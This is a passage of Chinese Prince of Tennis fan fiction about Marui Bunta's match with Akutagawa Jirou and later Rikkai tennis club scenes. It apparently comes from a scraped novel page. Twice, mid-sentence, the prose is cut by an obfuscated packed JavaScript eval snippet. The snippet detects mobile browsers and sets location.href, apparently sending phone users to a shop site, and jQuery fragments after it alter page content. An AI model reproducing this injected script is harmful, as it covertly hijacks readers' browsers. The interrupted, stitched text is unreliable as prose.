丸井文太引拍挥臂,发球动作一气呵成,球拍击球的声音清脆短促,网球如一道淡黄色的流光越过球网,精准地投入对手场区。 芥川慈郎这次看清了球路,脚下一动,身体已朝着落点奔去。好险!他在心中惊呼,堪堪在网球即将落地前及时将球截住,灵活的手腕在网球与拍面接触的瞬间微微转动,出其不意地把球挑向一个极为刁钻的角度。 嗯?丸井文太忽然拧了下眉头,虽说他有意试探一下对手的能耐,第二球没有使出全力,但芥川慈郎这一回球的质量还是略微出乎了他的预料。 看击球方式,对方似乎也擅长截击。 不过正如前言所述,拥有发球权的截击选手掌握着极大的先手优势。丸井文太的步伐轻盈而精准,反应快得惊人,芥川慈郎甚至来不及重新调整重心,他就已经咬着泡泡占据网前的绝佳位置,红发飞扬,面上浮起得逞的轻笑,一个干脆利落的反手截击,网球精准地砸在对手无法触及的边线上。 “30-0!”裁判报分。 这可谓是典型的发球上网得分。 而且丸井文太运用毫无赘余的动作,将其施展得帅气又凌厉,完美展现出这一打法的锐气与魅力。 芥川慈郎垂下球拍,轻轻地喘了口气,他刚才使出全力跑去追球,却没能救得这分。 而且—— 站在球网旁,忽然被用饱含了热度的眼神注视的丸井文太忍不住眨了眨眼睛。是要朝我放狠话了么?他很冷静地嚼着口香糖,舌尖顶了顶上颚,吹出一个青绿色的泡泡,又“啪”的一声利落收了回去。 “那个……” 慈郎也走到网前。 文太平静地回望他的眼睛。 “你好厉害啊!”芥川慈郎前倾身体,兴致勃勃地说,眼睛里仿佛闪烁着星星,“我还是头一回在与迹部以外的人对战时被这么精准地瞄准了死角呢!” 丸井文太被他突然凑近的动作吓了一跳,下意识地后退了半步。 迹部,冰帝的网球部部长,幸村君提起过那个人的名字。 这个人语气真挚,带着一股稚气未脱的天真气质,眼睛里满满都是文太的倒影。 丸井文太一时无法判断对方这番话是单纯地夸他,还是下一句就要暗讽他与冰帝部长存在差距,便闭起一只眼,可爱地歪着头,用模棱两可的口吻道了声“是吗”,随后不等回复就把球拍扛在肩上,重新走回后场。 芥川慈郎跃跃欲试地瞧向他从容自若的背影,兴奋地握紧双拳。 好!我也要清醒起来加油了! 除了性格天真烂漫,芥川慈郎也有些以自我为中心。他丝毫不介意丸井文太稍显冷感的谨慎回应,带着灿烂热烈的笑容回到自己的守备位置。 接下来第三球和第四球,文太毫不客气地拿下比分,赢得一局。然而慈郎也并非等闲之辈,待轮到他的发球局,他展现出与文太截然不同的网球风格。 文太在场中奔跑和挥拍截球时,发现慈郎的发球势大力沉,带有一股天生的爆发力,加上这人有着堪称“野性直觉”的天生球感,以及能够灵活转动的柔软手腕,使他打出的回球往往带有难以预料的旋转和角度,这让文太的网前拦截变得异常困难。 很有意思。丸井文太暗想。 他的视线迎向芥川慈郎无比雀跃的视线,不知不觉间也已拿出十二万分的认真投入其中。 随后比赛在高速的对攻中推进,他们如提前约定好了一般,各自都在发球后毫不犹豫地冲向网前,在极近距离的狭窄区域内展开激烈的短兵相接。球网两侧成为了他们的决斗场,每一次击球都伴随着急促的脚步摩擦声和短促的呼吸,招招迅疾而凶险。 慈郎的截击充满即兴的灵感闪光,时而放出短球轻巧卸力,时而暴力抽向死角,而文太则以精准的预判和稳定的手法应对,他最擅长拿捏时机,屡屡利用出其不意的假动作和变化球扰乱慈郎的节奏,每一次得分机会都被他沉着冷静地抓在手心。 向日岳人在场外看得目不转睛,虽然他只是在观战,却有汗意从鬓角和手心微微渗出,眼睁睁看着芥川慈郎在看似有来有往的对抗中逐渐失分。照理说慈郎实力不弱,在冰帝都算名列前茅的水准,他的技术、力量、速度、耐力……纵然和立海那位选手存在些差距,也不应该完全束手无策才对。 比赛场中,胜利的天平逐渐倾斜,势不可挡地倒向丸井文太。 “所以,到底是为什么慈郎的对手会接二连三得分啊?” 不知不觉中,他将心中的困惑喃喃道出。 “战术。” 突然从上方响起的声音把向日岳人吓了一大跳,他侧过头,看见一个陌生人站在自己附近观赛。 紫色头发,晒得均匀的小麦肤色,风格冷硬的下框眼镜,不便于运动的学生制服,以及带有奇异腔调的外地口音,怎么看都让大城市里长大的向日岳人感到奇怪。 你谁啊?看起来应该不是参赛选手吧? 在他疑窦丛生的戒备眼神中,古怪的外地人眼镜反光,嘴角勾起一个带有阴险气息的可疑弧度,微笑地解说道:“这二人的战术意识有天壤之别。” 没错,最根本性的差距在于——战术! 丸井文太狡猾地勾起唇角,接下来一个动作看似与先前别无二致,利用追身球极限压缩芥川慈郎的回球空间。 芥川慈郎下意识地侧身让开,正手挥出,准备发力打出一记低平快速的穿越球,穿过丸井文太的场区。 然而,就在网球离开拍面那一瞬间,文太移动的速度似乎比先前慢了半拍,就是这看似不经意的节奏变化,让习惯了他迅疾攻势的慈郎出现了失误——这一球本该斜线穿越从网侧滑步移动的文太身后,却被他的球拍截个正着。 遭了! 慈郎一时来不及思考更多,只能凭自己一瞬间注意到的球拍角度冲向防守区。 但文太恰恰没有照他所预判的出招,这蓄力极强的一球并未被他发力抽击出去,而是在拍网与网球触碰瞬间微微一削,放出一个触感极轻的短球! 在猛烈如疾风骤雨般的网前缠斗中,丸井文太这突如其来的一手细腻处理完全扰乱了芥川慈郎赖以为生的野生直觉。 “啊!”慈郎失声大叫,在他不可思议的目光中,刚过网的球几乎垂直坠地,纵使他全力冲刺回来试图救球,却只能眼睁睁看着网球第二次落地。 裁判再次报出丸井拿下一分。 文太又吹出一个泡泡,隐于后方的表情浮现出一丝深意。 他承认这个对手拥有不错的截击天赋,假以时日说不定能成为自己的劲敌,但前提是对方能够补全意识上的短板。要知道网球绝不仅仅代表单纯地发球和接球,能够洞察对手行动,甚至诱导对手犯错,就意味着自己抢占先机。 随后丸井文太就像个老练的猎人,比赛的走向被他牢牢抓在手里。他从容不迫地操控着击球的时机,每一球都控制在最精准的落点上。左一个直冲底线的高压截击,右一个举重若轻的网前短球,再一个追身球……凌厉而又精准的击球,落点刁钻得令人发指,搭配上能把人耍得团团转的狡诈战术,编织出一张无形收紧的大网,将芥川慈郎的体力和集中力都成倍地消磨了干净。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685860|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裁判宣告丸井文太胜利时,芥川慈郎才恍然意识到比赛已经结束。 赛后文太长长呼出一口气,抬手按着右边肩膀揉了揉,再放远视线望向天际,这才感觉全身紧绷的肌肉逐渐松泛下来。 心脏怦怦跳动得极快,他仰起头,沾着细小水珠的红艳碎发滑落到耳后,紫色瞳仁被天光照得清澈如水洗,汗水浸湿的漂亮脸庞上忽然不加掩饰地露出一个畅快的笑容。 赢得好开心! 这太阳下分外鲜艳明丽的一幕,落在自从裁判道出比赛结束后就原地愣住的慈郎眼里,不知为何让他连眼皮都舍不得再眨动。他素来被朋友们戏称“睡觉比天大,万事不关心”,后来竟极罕见地把眼前景象当作珍宝一样长久地铭记在内心深处。 直到丸井文太持拍走到球网前,礼貌地伸出右手。 芥川慈郎的目光不自觉顺着他的动作下移,落点从白皙修长的手指,慢慢挪到他纤细手腕上黑色的护腕。 “嗯?”文太许久没等到慈郎与自己握手,又见对方似乎低头出神,不由发出一声疑惑的鼻音。 下一瞬间他的右手忽然被对方双手拢住抓紧,吓得丸井文太双眼瞪圆,不知所措地瞧向凑到自己脸前极近位置的芥川慈郎。 只闻对方激动万分地说: “那个!你真的好厉害啊,能不能把你的护腕送给我?!” 说着卷毛脑袋飞快扭向裁判那边的记分板,目光扫了一眼名字又飞快扭回来,注视文太的眼睛天真烂漫,撒娇语气恳切又热烈。 “拜托你了,丸井君!我真的好想留个纪念!我承诺一定会认真保存起来的!” “哈啊?!” 丸井文太,莫名其妙地失去护腕一对。 中午立海的部员们在公园一个凉亭中集合聚餐,杰克·桑原最先注意到丸井文太手腕上的护腕不翼而飞,问明原因后,仁王雅治不禁挑眉笑了一声,被文太有点恼怒地说了声“别笑啊”之后反而变本加厉,而柳莲二则试图探明原因:“丸井你今天的护腕有什么特别的吗?” “倒也没什么特别的……” “品牌呢?” “Wilson,戴的一直就是我们部跟运动服一起发的那种吧。”文太老老实实地回答。 真田弦一郎淡淡说:“明天去部室再领一对。” 丸井文太咽下口中的鸡蛋烧,拖长了声音:“好——” 部中担任会计一职的柳莲二闻言再度陷入思索。他该怎么记账呢,损耗?遗失? 谈话间,几个人都打开了各自的便当。文太的米汉堡和搭配了薯球、蜜汁鸡翅等丰富配菜,漂亮如杂志上作品的丰富便当自不必提,杰克带了肉汁与酱汁都无比浓郁的肉排,仁王带了个性十足的泰式炒面配烤鸡肉,柳带了做得仿佛怀石料理般的高级便当,真田带了经典的厚片牛舌配味增。 “哎呀,真不好意思连我也一起加入了。”柳生微笑地说着。文太咬着筷子凑近他的便当一看,嘴里发出“哇”的一声惊叹,居然是看起来就非常高品质的西餐,还有鱼子酱配鲜虾鸡蛋。这是家里有专业厨师掌勺吧? 幸村同样带的是西式料理,他用尖头筷子轻盈地夹起一块淋上了柠檬奶油酱的香煎三文鱼,眉眼弯弯地一笑:“不用客气,大家都很欢迎哦。” 他这句话绝非单纯的客套,作为证据就是丸井文太很快就兴致高昂地跟大家交换起配菜。真田见此面露困惑,问他这岂不是自己的菜品都被换完了,就见对方得意地露齿一笑,从球包里一连拿出两个便当盒。 “我还有,而且我还带了点心!”丸井文太骄傲说。 “你吃太多了!” 12. File 11 小聚 下午的比赛从两点开始。 在此之前是休息时间。由于淘汰人选已经过半,尽管有些人准备继续观赛,但实际留在公园里的选手并不是很多,零星能看见有人在长凳上小憩,也有人躺在树荫下的草地上。 立海诸人基本上也三三两两待在能看见彼此的位置。仁王留在凉亭,单手支着脑袋侧躺在长椅上午睡,柳生腰背笔直地坐在附近石凳上阅读推理小说,杰克盘腿坐在旁边草地翻看本月的时尚杂志,而文太则靠在他背后,悠闲地翘起一条腿,拿着手机浏览这周更新的连载漫画。 幸村、真田和柳一起站在不远处的林荫下,讨论着他们下午将遭遇的别校高手。 “冰帝只剩下一个忍足侑士,但据说那是个老谋深算的选手。” “真田,你下一场对手是四天宝寺的白石吧?听说他的网球无懈可击,被人称作是‘圣经网球’来着。” “狮子乐的橘桔平也需要特别注意,精市,他的打法比较粗暴,你要注意追身球。” “我觉得还是头脑派的千岁千里更有威胁吧?不过他下一场应该是跟青学的天才不二周助对战,二人当中胜者就是与柳来比了。” “青学留到现在的也只有不二一人,跟冰帝一样。” “这两校已经还好了,像牧之藤和舞子坂今年都没有值得一看的新人,如果没有刻意隐藏王牌,来年的全国大赛上应该还是我们熟悉的老面孔出场。” 对剑指全国冠军的立海来说,真正的备战从现在就已经开始了。部长幸村精市负责挑选、副部长真田弦一郎负责训练部内的新一代主力,参谋柳莲二负责侦查、归集情报和制定策略。他们相信唯有知己知彼才能百战百胜,因此提前调查未来的对手也是未雨绸缪的重要环节。 由此也可窥见,立海是一所求胜心极强的学校,锐意进取、力争上游的竞争氛围十分浓厚,所有人都将让自己变得优秀视为一种理所当然的习惯。 正所谓环境培养习惯,习惯拉开差距。对成长于立海的网球部成员来说,每天都必须花费大量时间进行训练。寒暑不辍,晨训、晚训加起来的时间要比许多学校更多一倍以上,每个周末都稳定地轮流与本校高中、大学的网球部进行联合练习,以及与外校举行的练习比赛,由此培养出来的每个选手都能够被充分激发出潜力,而且根底扎实,身经百战、沉着老练,待到正式比赛也能稳定地发挥出实力。 柳莲二到谈话后半段忽然有些沉默,他侧过头,整齐的发梢从肩头轻轻滑过,清俊脸孔上悄然浮现出怅然若失的神情。 就算是两颗产地相同的种子,栽种在不同土地,位于肥田沃土的那边也定然长势更好,这是环境决定的自然定律。 对于就读于立海,每日都致力于精进打磨网球技术的自己来说,亦是如此。 柳莲二因为家里人的工作调动,在小学时从东京搬家到神奈川,后来以神奈川二小首席的成绩考入立海,并加入网球部,与当地所向披靡的幸村精市、真田弦一郎二人相识,凭借自己的实力成为社团中的第三位高手。 在此之前,居住东京时期的他是在家附近的一家网球俱乐部学习网球,并与俱乐部中一个跟自己实力相仿又志趣相投的朋友组成了一对实力强劲的双打组合。 他们在许多许多场地区比赛中取得过优胜。 在当时尚是小学生的柳莲二看来,搬家无异于天翻地覆级别的巨大打击。他将与自己的好朋友分别,去一个完全陌生的地方生活,重回故地之日遥遥无期,朋友以后也再难相见。 至少对年岁为个位数的他来说,按年计数的时间就已经非常漫长,是当时自己生命的几分之一了。 柳莲二有想过该如何与朋友告别,想了很久,从知道自己即将搬家开始就一直在想,从白天到晚上做梦都在想,可哪怕无数言辞已经堵在喉咙,待要张开口,自己曾引以为傲的大脑依旧组织不出顺畅的词句,此生至今最无助也最无奈的时刻也不过是如此。 说不出口的话就用网球来诉说吧。他这样想。 可惜临别的比赛也因为教练的干扰失去了结局。 老实说,他很沮丧。在假作若无其事与朋友一同回家的路上,车辆川流不息地照亮前路,长街被五光十色的霓虹彩灯缤纷着色,他的内心却仍在恐惧的黑暗中徘徊,不敢想象自己要离开的事实被朋友知晓以后,对方可能露出的难过或者愤怒的脸孔。 他无法面对那样的表情,只能一边胆怯,一边自私地隐瞒一切。 最终柳莲二只敢用或许只有自己才能听见的声音小声说着抱歉,转身时肩膀轻微抖动,像只受伤以后不告而别的鹿。 此后太阳西落,夕阳褪去,明月升起,星空灿烂,日历上的纸页随着纷飞的时光一同远去,蔚蓝宁静的湘南海岸比他所想象的更为美丽,那也是一片能够在晴天望见富士山的纯净土地,漫天粉红早樱飞舞的开学季中,柳莲二走进立海的校门。 过去自己胆小逃跑时留下的遗憾虽然从未消散,但他从幸村和真田所带领的强韧队伍中得到了许许多多一往无前的勇气。 新人战中留存至今的选手清单,没有柳莲二幼时朋友的名字。他知道对方现在是东京青春学园的学生,那所学校网球部的新生在一年级春季学期只能参与基础训练,也就是说对方这半年在部活期间是没有机会打网球,也无法积累任何大赛经验的。 相隔两年的今日,那人能与柳莲二在新人战中重新交手的概率……无论如何计算都微乎其微。 哪怕如此都还抱有不切实际的希望,我也真是可笑。正当柳莲二在心中感到自嘲之时,有人忽然靠近,随后他的肩膀微微一重。 “你在想什么啊,柳?” 是丸井文太,他单手搭在柳莲二的肩膀上,因为身高有些不够,所以侧头看来的时候稍微抬起了脸庞,卷翘发丝从前额滑开,日光下的浅紫双眸泛出明亮柔软的光色,携着一丝并不鲜明的担忧神色。 “总觉得,好像有点忧愁的样子。”他说。 真敏锐。柳莲二不禁心想。 他微笑了一下,用问题来回答问题:“你的漫画看完了吗,丸井?” “看完了哦,所以正无聊呢。”于是一抬头就看到了似乎不太对劲的柳。 后半句话丸井文太没有说,只是静静地凝视着柳莲二回神后恢复如常的淡然脸庞,两三秒后他挪开视线,顺从他心意直接换了个话题:“对了,柳你让我们每个人都要在明天交一篇其他人比赛的观战记录,我下午去看你的比赛可以吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685861|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 柳莲二点头:“可以。” 附近凉亭里假寐的仁王雅治当即敏捷地支起身体,扭头看向不远处的几人:“那我选幸村。” 忽然被提起名字的幸村精市回首看了一眼,细长眉梢轻挑,随后神情纵容地笑了笑:“好啊,非常欢迎。” 话音落下后,一阵沉默又喧嚣的大风吹过立海众人。 为什么仁王这么急着接话?杰克·桑原只觉脑袋被风吹得凉意当头,脸上生动的疑惑几乎能具现化出一个巨大的问号。 他慢了几拍才反应过来,左右扭头,瞧了瞧周围面色如常的一众队友,后知后觉地指了指自己:“呃……所以我只能选真田了?” 被说“只能选”的真田弦一郎额角抽动:“什么叫只能,你是对我有什么意见吗?” “没有没有这倒没有!”杰克吓了一跳,连忙摆手。 意见是没有,但是理由其实很明显吧。 还得是聪明人最懂聪明人,丸井文太与仁王雅治临时上线心有灵犀的特异能力,隔着一段距离,二人远远地交换了个心照不宣的眼神。 真田的实力当然毋庸置疑,但他们俩都是热衷在比赛中玩弄心计的头脑派,实在是看对方那没有策略全是数值碾压的横冲直撞式打法毫无可写之处啊,一句以力破巧就足够概括核心,编作文都编不出什么能水字数的话来…… 难搞的作业还是交给杰克写吧。文太本着死贫道不如死道友的精神,悄悄地为他默哀三秒。 到下午比赛,果然不出立海众人的预测,是部长幸村精市取得了最后的冠军,他领奖以后听见丸井文太兴致勃勃地提议说难得来东京一趟,不如去就近的商店街逛一逛,这边有很多颇具异国风情的甜品店,他一直想来品尝。 幸村愉快地应允,其他人自然也毫无意见地跟上。当然他们去的地方也不仅是文太所钟爱的甜品店,大家都带了零用钱,柳和真田一同购买了文具,杰克和柳生去音像店试听最近当红乐队的新专辑,仁王则是一个人溜去商场,回来时拎的袋子里装了很多文太看来相当可疑的道具。 他微微拧眉,眼神中透出一丝警惕,尝试去探究里面的东西:“这都用来做什么的啊?” “你就敬请期待吧。”仁王没有正面回答,而是用模棱两可的暧昧语气说。 就在丸井文太不太甘心地试图扒拉仁王雅治的塑料袋时,幸村精市单手抵住下颌,眼神若有所思,接下来所说的话语瞬间吸引所有人的注意力:“说起来,海原祭快到了哦。” 海原祭就是立海的学园祭,相当于建校纪念日的传统盛典,至今已有百年的创办历史。学校不会在这段时间安排老师授课,第一天举办由学生独立策划的各种活动,第二天则是种类多样的娱乐竞赛。期间不仅有国中、高中、大学的在校师生们共同庆祝节日,连家长、往期毕业生和得到邀请的外校学生都能够入校参与。 众人悄然停下了脚步,因为知晓幸村精市定然不会无缘无故提起此事。接下来不出所料,他们的部长微微一笑,长睫下方眸光流转,展现出一副兴致盎然的表情: “在海原祭上,除了能以班级为单位开展活动,学校也在募集自愿组织活动的社团,大家觉得我们网球部要不要报名呢?” 13.File 12 日训 听人说话不能仅仅考虑表面语义。丸井文太的头脑有多机敏,光是眨了眨眼睛便明白了幸村精市提起这个话题的潜在意图: 我对海原祭的活动很感兴趣,我们网球部也来参与吧。最好能顺便拿个奖。 后面一句是文太依据幸村性格做出的推测,他知道对方是很好强的,要做就会做到最好。 “我赞成!” 连象征性的考虑都不需要,他第一个高高举手表示同意。 反正幸村君肯定能得偿所愿的,网球部压根不存在有能耐不让他得逞的阻力吧。文太正如此想着。果不其然接下来其他几人也接连点头,然后真田和柳便开始考虑起如何利用训练后的时间做准备等后勤事宜。 至于活动主题,翌日经过部内会议讨论,决定了是反串音乐剧的节目表演,主题是经典童话故事——爱丽丝梦游仙境。 一贯淡定处事的仁王雅治看见最终被一锤定音的结果,脸色难得有些发青:“我去道具组吧,唱歌我实在没什么兴趣……” “你在说什么呢,仁王君?”柳生推了推反光的眼镜,义正辞严地说,“角色都已经定好了哦。” 在场唯有极少人才能听得出来他隐藏极深的玩味语气,毕竟柳生知道五音不全算是仁王雅治难得无力克服的短处。 柳生比吕士因为在新人战的聚餐时说起他幼时学过网球的旧事,被幸村和仁王邀请加入网球部,现在已成为部员之一。 而且鉴于他有美声演唱的功底,还在此次音乐剧中被幸村指定为表演主力之一。 另外顺带一提,副部长真田也是节目的重要演员。鉴于大家对他在音乐课中绕梁三日的激昂歌声多少有些耳闻,很多人都对幸村这一充满恶趣味的安排秉持看破不说破的看戏默契。不过,真田本人看起来似乎对这安排颇为满意。 被定为主演的丸井文太也毫无压力,因为音乐是他的长项。 他双手搭在脑后,步伐轻松地吹着泡泡路过仁王,看似是要贴心地鼓舞打气,实则已经幸灾乐祸地笑出声音,大力拍了拍对方的肩膀:“唱歌而已啦,有什么难的?有点自信啊仁王,要知道你的声优可是增田裕生!” “慎言啊丸井君!”柳生吓了一跳,连忙阻止他道,“这是不能说的秘密!” “哈哈,是吗?”文太嘻嘻哈哈地走开。 “真烦人啊。”仁王雅治单手撑脸,默默地瞧着那二人,吐槽说,“你们一个声优是歌手,一个声优是音乐剧演员的人,压根不能理解我的忧郁……” “啊,那也是不能说的秘密!” 在大家的插科打诨中,网球部开始了海原祭的节目筹备。自然了,在副部长真田弦一郎一丝不苟的认真督促下,所有人仍需毫不松懈地完成日常训练。 其中有个小插曲,新一周训练开始之前,丸井文太找柳莲二领用新的护腕,而当他从对方手中接过新护腕时,手心忽然狠狠一沉。 “哇?!”文太无防备之下气息一乱,连原本完美漂亮的泡泡都被不小心吹破了。他诧异地睁大双眼,抬手将其颠了一颠,“好重……里面加了铁块?” “是铅板。顺便告诉你,这是教练的吩咐,以后连上课和回家的时候都不要摘下来。” 柳莲二用云淡风轻的语气说着,给他指了自己手腕上同样款式的新护腕,虽然外表和普通部员是相同的黑色,但从隐约浮现出的轮廓来看,里面和丸井文太手中的护腕一样,内层被填入了好几块铅板。 “我们正选都先从5kg开始,接下来还会逐渐增加负重。”他嘱咐说,“你一开始戴着这个可能会不习惯,一定要注意手腕发力方式,小心不要受伤了。” 一开始就是5kg?魔鬼啊! 虽然文太很想这么说,不过更让他惊讶的是柳莲二口中提及的另一件事。 “咦,我们部有教练吗?”他发出疑惑的声音。 丸井文太入部的这半年中,从未在网球部看见过类似的人物出现。 而且印象中上学期校队在外比赛的期间,通常也是由部长幸村君兼任教练的职位。 然而柳莲二微微一笑,看起来并不意外他有此一问。 “有的,那位先生只是比较有个性……”对方说得很含蓄,含蓄得让人捉摸不透。柳莲二迎着丸井文太好奇的目光,单手比个六的手势贴在耳旁,做出一个打电话的动作,然后解释说,“他主要通过电话跟我和精市联络。不用担心,我有定期把记录大家训练情况的录像带寄到那边,教练也都有看,然后在下次通话的时候,他会根据每个人的情况提出建议。” “这与其说是有个性,不如说是乖僻了吧……”文太一针见血地犀利吐槽,“该不会教练很讨厌见人吧?” 柳莲二并不否认。不过从他眉端显现的神色和提及教练时的口吻来看,似乎对方确实算有几分真才实学,才能够得到柳莲二甚至幸村精市的认可。 丸井文太便不再深究了,一是相信那二人的眼光,二是尊重怪人天性也属于一种礼貌嘛。 这一日正选的训练内容是控球的强化训练,因为控球算是丸井文太的强项,所以他的神态十分轻松,以为目标能够达成得相当容易。 按上学期的模式来看,应该是指定落点的击球训练吧? 他扛着球拍走进球场,吹出一个泡泡,左右转头看了看,正要寻找做了布置的场地,忽然看见许多部员在真田的带领下将好几台自动发球机用拉车移动到球场。 “每个人面对三台发球机,我们会往机器里装填凹槽涂有不同颜色的网球,你们的任务则是把不同颜色的网球打到指定位置,以中线和发球线为界,红色球需要打到网前右侧的点位,蓝色球打到网前左侧的点位,绿色球打到后场的点位,另外还有个别没有涂颜色的网球混在其中,常规的球就打在中线上。” 提着好几筐涂色球走进球场的部员看见丸井文太面露惊讶,便停下来给他解释了规则。 这规则听起来就不太容易。 待到他拿着球拍上场,才发现“不太容易”还仅是保守的说法。 丸井文太伏低身体,右手持拍,左手扶住拍框,只见球网对面被他目光盯住的发球机一连发出三声间距极短的嗡响,三颗网球接连向他所在的场区袭来。 绿、红、蓝! 网球高速旋转,他聚精会神,凭借左右均2.0的视力第一时间捕捉到上面涂有的颜色。 通常来说,此刻退到后场更有利于回球,但丸井文太作为一名技艺高超的截击专家,此刻竟犹如战场上悍不畏死的骑士,脚步不退反进,胆大至极地直冲前方。 ——砰!!! 第一球正中他网前拦截的拍面! 绿球在拍心疯狂旋转,文太手腕转动,以正手打出一记迅疾的平击,将球精准地钉入后场的标记。 但这还远远不够。 眨眼间,紧追不舍的第二球同样兵临城下。文太利用前一次击球的惯性,将展开的手臂横在胸前,以反手的拍面截住接连而至的红球,接着回球如箭矢般去势汹汹地飞入右半场。 第二个标记也被攻破! “厉害!”附近旁观的人发出喝彩。这正反手切换的二连截击打得太漂亮了,要知道站在网前的接球时间是比站在后场要少一半的,丸井文太能够流畅地接连回击,可见其反射神经已然快到令人发指的地步。 接下来第三球顷刻而至,然而此刻身在网前的文太却面露 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如果在比赛中打出这种水平的回球,网球被挑到高空的一瞬间就能被对手扣杀回来,送分球而已。 丸井文太露出认真反省的神色。 要实现完美无缺的精准控球,是对选手的动态视力、反射神经、挥拍速度以及回球水准的综合考验,当中只要有一方面存在短板,就会在比赛中形成能被人针对的硬伤,以他的自尊是决不允许这样的事发生的。 真田见他很快调整好了状态,简单提点了他几处挥拍时动作不规范的细节,随后道:“集中精神,马上第二轮发球!” “是!”文太立即持拍应声,随后抓紧时间嚼着口香糖吹了个泡泡出来。 因为精神高度集中,又或者是逐步攻克难关的成就感实在太让人乐在其中,每次部活结束的时候都让人感觉时间走得特别快。 丸井文太从成功实现三次截击的快乐中回神,抬眼便看见球场被金红的暮色笼罩,已经有许多人收拾完了自己的东西,换好衣服后从部室离去。 他松开手任由球拍落在地上,自己也一屁股坐下,顺势躺了下来,微微湿润的鲜红色的碎发柔软散开,脸庞上湿漉漉的汗水顺着颈线流到发尾,睫毛掀起,染成紫红色泽的瞳孔深处倒映着落霞满天。 肚子好饿啊—— 正如此心想着,附近忽然传来“扑通”一声震响,丸井文太懒洋洋地侧过头,入目所见是立海短袖的衣领和一小撮银白发梢,蹭得他脸颊有些发痒。 仁王雅治横躺在他脑袋上方一些的位置一动不动,整个人像是丢了三魂七魄般安静,只有耳畔比平常略重一些的呼吸声证明他还活着。 没过多久,气喘吁吁着来喊文太一起回家的杰克不小心被仁王的腿绊了一跤,趴在地上再起不能。 接着连副部长真田也倒在不远处,他所珍视的、那顶据说是由他爷爷所赠的黑色帽子落在距他几步外的地方。 对方的帽子随后被一只同样戴着黑色负重护腕、修长又骨节分明的手轻轻拾起,搭在来人肩膀上的外套因这动作小幅度地飘动了一下。 丸井文太看得不自觉眨了眨眼睛,目光小心翼翼地顺着这只美丽的手向上挪移,落在幸村君那张更加美丽的精致脸庞。 留意到他视线的幸村弯起眼眸,将帽子盖在真田闭目后更显刀刻斧凿般的硬朗脸庞上,随后唇角一挑,温柔地说:“今天大家都辛苦了,抓紧时间尽早回家吧,路上要注意安全哦。” 毫不夸张地说。 这一刻的部长幸村精市,在丸井文太心中,就是厉害得像神一样。 14.File 13 邂逅 这天放学回家的路上,丸井文太看见了柳莲二的背影。 他一开始以为自己看错眼了,走在堤岸上的步伐无意识地缓慢下来,目光投向沙滩远处一个逆着光线的清瘦人影。 “柳?” “什么,文太?”身边的杰克同样停下脚步,跟着他的视线一同看向海边,随后了然,“啊……那是柳吧。” 走出校门,临近七里滨这一段西望长天的海堤,是很多立海学生通学往返的必经之路。在夜幕降临前的黄昏里,偶尔出现的海鸥在觅食过后轻盈地掠过水面,伸展开白翼悠然远去,海岸笼罩在一片安静的霞辉下,除了零星几个在附近踏浪戏水的观光客,就是晚归的学子从远处悠悠经过。 他们停下脚步。下方驻足于海边的人身着与文太和杰克一样款式的短袖制服,但与离校后就秉持随意至上原则的二人不同,对方不但现在都规矩地打着领带,连衬衫下摆都非常整齐地扎进裤子,手腕上戴着立海网球部员标配的黑色护腕,极具特色的及肩长发在海风的吹拂中轻轻飘动。 很容易就能从特征辨认出来,对方确实是被誉为网球部参谋的柳莲二无疑。 丸井文太微微探身出去,眼神好奇:“柳这么晚了不回家,一个人待在海边干什么呢?” 部活都结束好久了吧,他方才还拉着杰克绕了一段路去买零食来着。 “谁知道……”杰克同样不解。 文太竖起一根手指,笑眯眯道:“是在为准备小测试背单词吗?还是背课文?” “怎么想都不可能吧!”杰克立即吐槽,“你忘了吗?柳上学期的成绩可是年级第一啊!” “唔嗯,对哦……”文太鼓起脸,歪过头眨了眨眼睛,“那杰克觉得他在做什么呢?” 杰克其实也一头雾水,但面对文太语气真诚的提问,他还是努力想了想,勉强提出一个猜测:“大概……是寻找写俳句的灵感?” 文太忍俊不禁:“哈哈,那很有文采了。” 不过呢,确实啊,那家伙有时候会给人一种诗人般的气质。他抬脸望天,默默地想道。 丸井文太虽然一贯在外表现得玩世不恭,但他识人观色的天赋过人,对旁人情绪变化的感知十分敏锐,所以他很清楚,越聪明的人越容易多思多虑,陷入烦恼,若是太温柔而且太会为旁人着想的人就更是如此。所谓慧极必伤,大概就是这个道理吧。 而且—— 从新人战那时候开始,柳好像就有点不太对劲。 文太不确定这是不是自己的错觉,随意对本人直接提问也太冒犯啦,也没把想法跟其他任何人说过。 杰克不知他脑海中盘旋的念头,低头朝柳那边看了一会儿:“我们要去跟他打声招呼吗?” “没事,不用。”文太不假思索地否决这个提议,为避免杰克误会他的态度,他稍微放轻了一点声音,轻松地说,“柳应该是不想被其他人打扰吧……万一那个、写俳句的灵感,被我们打扰没了岂不是很糟糕?就让他维持这样。” “说得也是。”杰克对这个解释不疑有他,恍然地点了点头。 对吧?丸井文太笑了笑,仰起头喝了一口手里拿着的波子汽水,紧贴瓶身的掌心被凝结的水珠浸湿,一丝冷意微弱地刺激着神经,拂过舌尖味蕾的甜味似乎也变得更加柔和,果然汽水要冰镇的才更好喝。 饮料的种类和口味、不同温度下口感的变化,都是很好懂的。但人却不一样,人心是一种很复杂的东西,情绪的微妙变迁,没有那么容易能被外人看穿,特别是柳莲二那种性情内敛的类型。 